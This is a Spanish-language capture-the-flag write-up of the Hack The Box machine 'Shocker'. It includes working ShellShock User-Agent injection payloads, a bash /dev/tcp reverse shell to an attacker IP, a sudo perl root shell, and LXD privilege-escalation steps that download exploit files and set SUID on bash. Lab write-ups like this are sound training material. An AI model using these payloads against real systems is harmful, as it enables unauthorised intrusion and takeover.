lund@home:~$

Autor: Lund K. S.

HTB_Shocker HTB_Shocker | Hacker-Blog

HTB_Shocker

Shocker {-}

Introduccion {-}

La maquina del dia 20/08/2021 se shocker.

El replay del live se puede ver aqui

S4vitaar Shocker maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.56

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.56

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.56 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p80,2222 10.10.10.56 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
80 http Web, Fuzzing  
2222 ssh Conneccion directa usuario y contraseña

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.56

Nada interesante aqui

http-enum {-}

Lanzamos un web scan con nmap.

nmap --script http-enum -p80 10.10.10.56 -oN webScan

Nada interesante.

Analyzando la web con Firefox {-}

Hay una pagina que nos dice Don’t Bug Me! y nada mas. Como la maquina se llama Shocker, pensamos directamente al ataque ShellShock

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/

Encontramos una routa muy interesante que es el cgi-bin que es la routa donde si la bash es vulnerable podemos hacer un ataque shellshock.

Vulnerability Assessment {-}

ShellShock attack {-}

  1. creamos un diccionario de extensiones

     nano extension.txt
    
     sh
     pl
     py
     cgi
    
  2. lanzamos nuevamente wfuzz con la extension

     wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extension.txt http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
    

Como aqui hemos encontrado un fichero user.sh lanzamos un curl para ver lo que es.

curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh"

Ya podemos lanzar el ataque shellshock cambiando la cabezera User-Agent.

curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; /usr/bin/whoami"
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo;echo; /usr/bin/whoami"

Vemos la respuesta shelly quiere decir que estamos en capacidad de ejecutar commandos a nivel de systema, gracias a esta vulnerabilidad.## Vuln exploit & Gaining Access {-}

Ganando accesso desde la vulnerabilidad ShellShock {-}

  1. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  2. Entablamos una reverse shell

     curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo;echo; /bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1
    

Hemos ganado accesso al systema.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Dandole a whoami vemos que ya estamos shelly y que podemos leer la flag.## Privilege Escalation {-}

Rootear la maquina {-}

cd /root
id
sudo -l

Vemos que estamos en el grupo lxd ;) y ademas podemos ejecutar /usr/bin/perl como root si proporcionar contraseña.

Escalar privilegios con /usr/bin/perl {-}

sudo -u root perl -e 'exec "/bin/sh"'
whoami 
#Output
root

Escalar privilegios con LXD {-}

searchsploit lxd
searchsploit -x 46978

Si Si el exploit a sido creado por el mismo S4vitar. Para usar el exploit, lo primero es mirar si estamos en una maquina 32 o 64 bits.

uname -a

Seguimos los passos del exploit

  1. En la maquina de attaquante

     wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
     chmod +x build-alpine
     ./build-alpine # --> para maquinas x64
     ./build-alpine -a i686 # --> para maquinas i686
     searchsploit -m 46978
     mv 46978.sh lxd_privesc.sh
     dos2unix lxd_privesc.sh
     python3 -m http.server 80
    
  2. En la maquina victima

     wget http://10.10.14.20/alpine-v3-14-i686-20210728_2134.tar.gz
     wget http://10.10.14.20/lxd_privesc.sh
     chmod +x lxd_privesc.sh
     ./lxd_privesc.sh -f alpine-v3-14-i686-20210728_2134.tar.gz
    
  3. vemos un error error: This must be run as root. Modificamos el fichero lxd_privesc.sh

     nano lxd_privesc.sh
    

    en la function createContainer(), borramos la primera linea:

     # lxc image import $filename --alias alpine && lxd init --auto
    
  4. Ya estamos root pero en el contenedor. Modificamos la /bin/bash de la maquina

    • en el contenedor

        cd /mnt/root
        ls
        cd /bin
        chmod 4755 bash
        exit
      
    • en la maquina victima

        bash -p
        whoami
        #Output
        root